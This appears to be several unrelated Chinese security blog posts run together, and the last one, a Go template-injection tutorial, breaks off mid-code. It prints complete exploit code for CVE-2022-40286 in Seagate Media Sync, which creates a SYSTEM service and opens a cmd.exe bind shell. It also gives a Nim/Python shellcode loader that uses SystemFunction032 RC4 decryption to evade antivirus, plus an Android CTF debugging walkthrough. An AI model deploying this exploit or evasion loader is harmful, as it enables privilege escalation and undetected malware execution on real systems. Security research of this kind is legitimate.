所以根据我们分析得到的结果,编写一个自定义的管道客户端来测试我们的猜想。 DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } SetRegString("SOFTWARE\\Microsoft\\test", "test", "test_value"); 上面的代码是连接到了MEDIA_AGGRE_PIPE.PIP管道,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test内创建一个注册表值。然后我们将会以普通用户的身份来执行这个程序。 经过测试可以发现,这段代码可以正常执行,并成功创建了目标注册表值。对注册表HKEY_LOCAL_MACHINE的操作也为攻击提供了更多的可能性。在这种情况下,我们可以通过向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表键添加条目来创建一个自定义服务。 通常我们不会部署一个单独的exe来作为SYSTEM服务的有效载荷,而是将这一功能放到可执行文件中。这个执行程序将会首先检查它是否是以SYSTEM用户的身份运行。如果不是,它将会执行默认的行为,并通过希捷服务管道创建一个新的服务,如上所述。否则,如果exe检测到它是以SYSTEM服务的身份运行,它将会部署主要的有效载荷,这将会创建一个shell。 总而言之,这个POC工具将执行以下步骤。 使用CreateFile通过命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP连接到希捷服务。 使用GetModuleFileName获取当前exe的文件路径。 通过向希捷服务的命名管道发送注册表命令,创建一个新的Windows服务。在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一个新条目,使用当前的exe作为进程路径。 重新启动计算机。 Windows将在启动时自动启动我们新创建的服务。可执行程序将检测到它是以SYSTEM身份运行的,并监听1234端口的TCP连接。 当用户连接到localhost:1234时,漏洞服务将会以SYSTEM的身份启动一个新的cmd.exe进程,stdin/stdout会被重定向到客户端套接字。 执行后 重启计算机 链接到 localhost:1234 最终,这个漏洞编号为 CVE-2022-40286。 以下是完整的利用代码。 #include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } // free buffer free(pDataBlock); // close pipe CloseHandle(hPipe); return 0; } DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (dword) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwDwordValue = dwValue; // send command if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD StartBindShell(WORD wPort) { sockaddr_in SockAddr; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; SOCKET ListenSocket = 0; SOCKET AcceptSocket = 0; // create listen socket ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if(ListenSocket == INVALID_SOCKET) { return 1; } // set socket addr info memset((void*)&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(wPort); SockAddr.sin_addr.s_addr = htonl(INADDR_ANY); // bind socket if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // listen if(listen(ListenSocket, 1) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // wait for clients for(;;) { // wait for connection AcceptSocket = accept(ListenSocket, NULL, NULL); if(AcceptSocket == INVALID_SOCKET) { closesocket(ListenSocket); return 1; } // set StartupInfo fields - redirect input/output to socket memset((void*)&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; StartupInfo.wShowWindow = SW_HIDE; StartupInfo.hStdInput = (HANDLE)AcceptSocket; StartupInfo.hStdOutput = (HANDLE)AcceptSocket; StartupInfo.hStdError = (HANDLE)AcceptSocket; // create cmd.exe process with inherited handles memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo)); if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0) { closesocket(AcceptSocket); closesocket(ListenSocket); return 1; } // client socket has been passed to cmd.exe - close socket in local process closesocket(AcceptSocket); } // close listen socket closesocket(ListenSocket); return 0; } DWORD ConfirmSystemUser() { HANDLE hToken = NULL; BYTE bTokenUser[1024]; DWORD dwLength = 0; SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority; TOKEN_USER *pTokenUser = NULL; void *pSystemSid = NULL; // open process token if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0) { return 1; } // get user SID pTokenUser = (TOKEN_USER*)bTokenUser; if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0) { CloseHandle(hToken); return 1; } // close token handle CloseHandle(hToken); // SECURITY_NT_AUTHORITY SidIdentifierAuthority.Value[0] = 0; SidIdentifierAuthority.Value[1] = 0; SidIdentifierAuthority.Value[2] = 0; SidIdentifierAuthority.Value[3] = 0; SidIdentifierAuthority.Value[4] = 0; SidIdentifierAuthority.Value[5] = 5; // get SYSTEM user SID if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0) { return 1; } // check if this is the SYSTEM user if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0) { FreeSid(pSystemSid); return 1; } // clean up FreeSid(pSystemSid); return 0; } DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath) { char szServiceKey[512]; char szImagePath[512]; char szWindowsDir[512]; // get windows directory memset(szWindowsDir, 0, sizeof(szWindowsDir)); GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1); // set service key memset(szServiceKey, 0, sizeof(szServiceKey)); _snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName); // set image path // (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests) memset(szImagePath, 0, sizeof(szImagePath)); _snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath); // set registry value if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0) { return 1; } // set registry value if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Start", 2) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Type", 16) != 0) { return 1; } return 0; } int main() { WSADATA WinsockData; char szPath[512]; // check if this process is running as SYSTEM user if(ConfirmSystemUser() == 0) { // initialise winsock if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0) { return 1; } // ready - start tcp bind shell on port 1234 if(StartBindShell(1234) != 0) { return 1; } } else { printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)\n"); printf("x86matthew (www.x86matthew.com)\n\n"); printf("Retrieving current exe path...\n"); // get current exe path memset(szPath, 0, sizeof(szPath)); if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) { printf("Error: Failed to get current exe path\n"); return 1; } printf("Creating service...\n"); // create service if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0) { printf("Error: Failed to add service via Seagate Media Sync service\n"); return 1; } printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell\n"); } return 0; }
一道Android题目逆向动态调试
题目来源于海淀区网络与信息安全管理员大赛,题目中将加密验证算法打包进.so,在程序中动态调用check。 本题目通过System.loadLibrary("native-lib")加载了libnative-lib.so文件,该文件通过jeb可以实现提取 图1 题目关键代码 调试环境选择与配置 mumu模拟器 x64位版本,测试后发现sprintf会导致程序崩溃 夜神模拟器x64,x32的版本经过测试后,sprintf均导致程序崩溃 雷电5模拟器测试后,sprintf导致程序崩溃,动态调试libnative-lib.so时,且无法下载libart.so 最终选用 mumu x32位版本可以进行调试 动态调试选用IDA+MUMU x86模拟器对动态库libnative-lib.so调试 调试环境 adb的基础配置 mumu模拟器使用的adb为adb_server.exe,这里将adb_server.exe为便于使用重新命名为adb.exe,打开一个cmd终端,adb 接入模拟器中 adb connect 127.0.0.1:7555 图2 adb 服务端连接 通过adb 将apk 包安装进安卓的模拟器 adb install test.apk 通过cmd再打开一个终端,通过adb shell可以直接进入到模拟器shell中 图3 adb shell连接 应用程序的配置 在新起的cmd终端,通过动态调试模式来启动app ./adb shell am start -D -n com.example.dynamic/.MainActivity android包实际的packet以及类如下图所示com.example.dynamic/.MainActivity 图4 adb 启动程序分析 运行 adb shell am start命令后,mumu模拟器中如图5所示 图5 adb 动态调试程序 IDA 的配置 上传IDA的动态服务端android_x86_server到模拟器/data/local/tmp中,tmp文件夹是具有可执行权限的 ./adb push android_x86_server /data/local/tmp 图6 查看tmp文件夹权限 赋予android_x86_server可执行权限 chmod +x android_x86_server 执行android_x86_server,会监听23946端口,但是仍需要通过adb进行端口转发转发到本地监听 ./adb.exe forward tcp:23946 tcp:23946 图7 启动IDA 调试server端 通过以上步骤使启动服务端IDA的监听 配置本地IDA remote linux debug参数,如图8所示 图8 配置IDA动态调试 通过attach process 打开远程端的进程 图9 IDA远程attach 选择对应的进程,这里选用1535进程 ‘ 图10 附加到指定进程 通过以上步骤,将IDA 服务端和.so文件关联到一起,仍需要唤醒被调试的程序,此时mumu模拟器中仍旧如图11所示 图11 dynamic程序界面 通过jdb来唤醒被调试程序,本机调试的时候jdb使用java sdk自带的jdb,需要两步操作 通过adb将进程进行转发,进程号是图n中所示的1535 ./adb forward tcp:8700 jdwp:1535 通过jdb唤醒操作 jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 再回到IDA中,选择F9继续运行程序,会弹出框选择本地程序与远程是否一样选项框,主要匹配的是动态库libnative-lib.so这个名字 图12 IDA提示检测到本地.so IDA中断点断在ptrace前,mumu模拟器中界面未完全同步 图13 附加到调试进程后,dynamic界面 IDA中界面如下 图14 IDA中显示断点 .so的调试 反调试绕过 该.so使用了ptrace 反调试,在ptrace处设置断点,下断点的时候有两种方案 一种是设置IDA 的调试调试,设置载入lib的时候suspend 图15 IDA调试选项配置 当看到IDA中载入libnative-lib.so时,通过快捷键Ctrl-S打开加载的段,查找libnative-lib.so所在内存1 图16 查看IDA中的代码段 还可以在模拟器shell中,查看具体的内存信息 图17 adb shell中查看内存中的数据地址分布 在动态调试的过程中,重置ptrace 的返回值,绕过该处反调试 图18 重置eax的值 可以直接右键或者在eax寄存器上使用快捷键0重置 另外一种方式是直接在ptrace上下断点,在调试的时候当IDA弹窗如图17所示时,程序会直接断在ptrace断点处。如果没有弹出该弹窗,直接在IDA中分析该so时下的断点无效。 图19 重置eax的值 注册native的方法 在 Native文件中代码如下 static JNINativeMethod jniMethods[] = { {"check", "(Ljava/lang/String;)Z", (void *)hello}, }; boolean xxxx( char* s) { // do something return JNI_TRUE; } #在JNI_OnLoad中调用RegisterNatives方法注册Natives方法到JVM,建立映射关系。 int JNI_OnLoad(JavaVM *vm, void *reserved) {    JNIEnv *env;    if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK) {        return JNI_ERR;   }    jclass cls = (*env)->FindClass(env, "LHelloJNI");    if (cls == NULL)        return JNI_ERR;    int len = sizeof(jniMethods) / sizeof(jnimethods[0]);   (*env)->RegisterNatives(env, cls, jniMethods, len);    return JNI_VERSION_1_4; } check 函数的定位 在apk文件中,反编译后可以看到check函数位于libnative-lib.so中,但是libnative-lib.so中并没有check函数 图20 查找check函数 Java调用.so库函数可以通过静态注册和动态注册两种方式,题目通过动态注册的方式来对函数进行调用 在上图中methods一列,是一个JNINativeMethod的数组,JNINativeMethod结构包含三个成员 const char \*name: Java中声明的native方法。 const char \*signature:方法的签名。 void \*fnPtr: 函数指针 在题目的methods中,check字符串,对应的函数指针为Z4xxxxP7_JNIEnvP8_jobjectP8_jstring ; xxxx(JNIEnv *,jobject *,jstring *)也就是xxxx函数。 图21 定位check函数 MD5的简单调试 MD5_init的过程如下,根据初始值可以大概判定题目通过md5算hash值 *(_OWORD *)v63 = xmmword_B2E6FA40; .rodata:B2E6FA40 xmmword_B2E6FA40 xmmword 1032547698BADCFEEFCDAB8967452301h 经过fff函数转换后的md5值放入[esp+0B4]中 .text:B2E51040 8D 84 24 B4 00 00 00    lea     eax, [esp+0B4h] .text:B2E51047 89 44 24 04             mov     [esp+4], eax .text:B2E5104B 8D 44 24 58             lea     eax, [esp+58h] .text:B2E5104F 89 04 24                mov     [esp], eax .text:B2E51052 E8 A9 E7 FF FF          call    __Z4ffffP7MD5_CTXPh ; ffff(MD5_CTX *,uchar *) 读取[esp+0xB4]的值 Python>esp=get_reg_value('esp') Python>data=get_bytes(esp+0xb4,16) Python>data.hex() 'a82e0cb168bfe134f22dbde167cf046c' 通过python计算wojiushidaan0!!!的md5值为 >>> import hashlib >>> result=hashlib.md5("wojiushidaan0!!!".encode()) >>> result <md5 _hashlib.HASH object @ 0x00000167FF8BDEF0> >>> result.hexdigest() 'a82e0cb168bfe134f22dbde167cf046c' 两者可以对应起来,题目计算了wojiushidaan0!!!的md5值 程序最终经过memcmp比较的时候的值为 .text:B2F11398 89 54 24 08             mov     [esp+8], edx .text:B2F1139C 8B 44 24 14             mov     eax, [esp+14h] .text:B2F113A0 89 44 24 04             mov     [esp+4], eax   ; s2 .text:B2F113A4 89 0C 24                mov     [esp], ecx     ; s1 .text:B2F113A7 E8 84 E4 FF FF          call    _memcmp 提取eax的值为 b'c640fc761edbd22f431efb861bc0e28a' 提取ecx的值为 b'12345678123456781234567812345678' 程序的输入为 图22 调试flag结果 推导可知题目的正确输入为 flag{c640fc761edbd22f431efb861bc0e28a} 图23 验证flag结果 在调试md5的时候,使用了IDA的上色功能,通过单步步过调试,给执行过的代码染色 IDAPro 单步步过上色调试脚本 def get_new_color(current_color):  colors = [0xffe699, 0xffcc33, 0xe6ac00, 0xb38600]  if current_color == 0xFFFFFF:    return colors[0]  if current_color in colors:    pos = colors.index(current_color)    if pos == len(colors)-1:      return colors[pos]    else:      return colors[pos+1]  return 0xFFFFFF addr = ida_dbg.get_ip_val() while addr < 0xB2ED241F:  event = wait_for_next_event(WFNE_ANY, -1)  t = step_over()  addr = ida_dbg.get_ip_val()  current_color = get_color(addr, CIC_ITEM)  new_color = get_new_color(current_color)  set_color(addr, CIC_ITEM, new_color) #https://www.cnblogs.com/blacksunny/p/7300271.html参考trace 修改的step over 有待改进的地方 绕过反调试依赖于动态调试时的修改寄存器实现 本文涉及的命令 adb connect 127.0.0.1:7555 adb install test.apk ./adb shell am start -D -n com.example.dynamic/.MainActivity ./adb push android_x86_server /data/local/tmp ./adb.exe forward tcp:23946 tcp:23946 ./adb forward tcp:8700 jdwp:1535 jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
SystemFunction032函数的免杀研究
什么是SystemFunction032函数? 虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。 这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。 不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。 初步想法 虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。 通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。 1、打开一个到进程的句柄 2、在该进程中分配具有RW/RX或RWX权限的内存 3、将Shellcode写入该区域 4、(可选)将权限从RW改为RX,以便执行 5、以线程/APC/回调/其他方式执行Shellcode。 为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。 例如,对于AES解密,流程通常是这样的。 1、打开一个到进程的句柄 2、用RW/RX或RWX的权限在该进程中分配内存 3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中 4、将Shellcode写入分配的区域中 5、(可选)把执行的权限从RW改为RX 6、以线程/APC/回调/其他方式执行Shellcode 在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。 XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。 1、为进程打开一个句柄 2、在该进程中以RW/RX或RWX的权限分配内存 3、将Shellcode写入分配的区域中 4、XOR解密Shellcode的内存区域 5、(可选)把执行的权限从RW改为RX 6、以线程/APC/回调/其他方式执行Shellcode。 但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。 这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。 生成POC 首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。 msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin 但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。 最终修改为 openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin 我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。 import winim import winim/lean # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin const encstring = slurp"calc.bin" func toByteSeq*(str: string): seq[byte] {.inline.} =  ## Converts a string to the corresponding byte sequence. @(str.toOpenArrayByte(0, str.high)) proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}   # This is the mentioned RC4 struct type   USTRING* = object       Length*: DWORD       MaximumLength*: DWORD       Buffer*: PVOID var keyString: USTRING var imgString: USTRING # Our encryption Key var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] keyString.Buffer = cast[PVOID](&keyBuf) keyString.Length = 16 keyString.MaximumLength = 16 var shellcode = toByteSeq(encstring) var size  = len(shellcode) # We need to still get the Shellcode to memory to encrypt it with SystemFunction032 let tProcess = GetCurrentProcessId() echo "Current Process ID: ", tProcess var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) echo "Process Handle: ", repr(pHandle) let rPtr = VirtualAllocEx(   pHandle,   NULL,   cast[SIZE_T](size),   MEM_COMMIT,   PAGE_READ_WRITE ) copyMem(rPtr, addr shellcode[0], size) # Fill the RC4 struct imgString.Buffer = rPtr imgString.Length = cast[DWORD](size) imgString.MaximumLength = cast[DWORD](size) # Call SystemFunction032 SystemFunction032(&imgString, &keyString) copyMem(addr shellcode[0],rPtr ,size) echo "Writing encrypted shellcode to dec.bin" writeFile("enc.bin", shellcode) # enc.bin contains our encrypted Shellcode 之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。 #!/usr/bin/env python3 from typing import Iterator from base64 import b64encode # Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071 def key_scheduling(key: bytes) -> list: sched = [i for i in range(0, 256)] i = 0 for j in range(0, 256): i = (i + sched[j] + key[j % len(key)]) % 256 tmp = sched[j] sched[j] = sched[i] sched[i] = tmp return sched def stream_generation(sched: list[int]) -> Iterator[bytes]: i, j = 0, 0 while True: i = (1 + i) % 256 j = (sched[i] + j) % 256 tmp = sched[j] sched[j] = sched[i] sched[i] = tmp yield sched[(sched[i] + sched[j]) % 256]         def encrypt(plaintext: bytes, key: bytes) -> bytes: sched = key_scheduling(key) key_stream = stream_generation(sched) ciphertext = b'' for char in plaintext: enc = char ^ next(key_stream) ciphertext += bytes([enc]) return ciphertext if __name__ == '__main__': # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin with open('calc.bin', 'rb') as f: result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa') print(b64encode(result).decode()) 为了执行这个shellcode,我们可以简单地使用以下Nim代码。 import winim import winim/lean # (OPTIONAL) do some Environmental Keying stuff # Encrypted with the previous code # Embed the encrypted Shellcode on compile time as string const encstring = slurp"enc.bin" func toByteSeq*(str: string): seq[byte] {.inline.} =  ## Converts a string to the corresponding byte sequence. @(str.toOpenArrayByte(0, str.high)) proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".} type   USTRING* = object       Length*: DWORD       MaximumLength*: DWORD       Buffer*: PVOID var keyString: USTRING var imgString: USTRING # Same Key var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] keyString.Buffer = cast[PVOID](&keyBuf) keyString.Length = 16 keyString.MaximumLength = 16 var shellcode = toByteSeq(encstring) var size  = len(shellcode) let tProcess = GetCurrentProcessId() echo "Current Process ID: ", tProcess var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) let rPtr = VirtualAllocEx(   pHandle,   NULL,   cast[SIZE_T](size),   MEM_COMMIT,   PAGE_EXECUTE_READ_WRITE ) copyMem(rPtr, addr shellcode[0], size) imgString.Buffer = rPtr imgString.Length = cast[DWORD](size) imgString.MaximumLength = cast[DWORD](size) # Decrypt memory region with SystemFunction032 SystemFunction032(&imgString, &keyString) # (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans # Directly call the Shellcode instead of using a Thread/APC/Callback/whatever let f = cast[proc(){.nimcall.}](rPtr) f() 最终效果,至少windows defender不会报毒。 通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。 后记 之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。 简单来讲是以下这种情况: 1、调用SystemFunction032来解密Shellcode 2、直接调用它 例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。
浅学Go下的ssti漏洞问题
前言 作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题。 GO模板引擎 Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。 template简介 template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子 模板内容 Hello, {{.Name}} Welcome to go web programming… 期待输出 Hello, liumiaocn Welcome to go web programming… 而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示。 text/template package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := 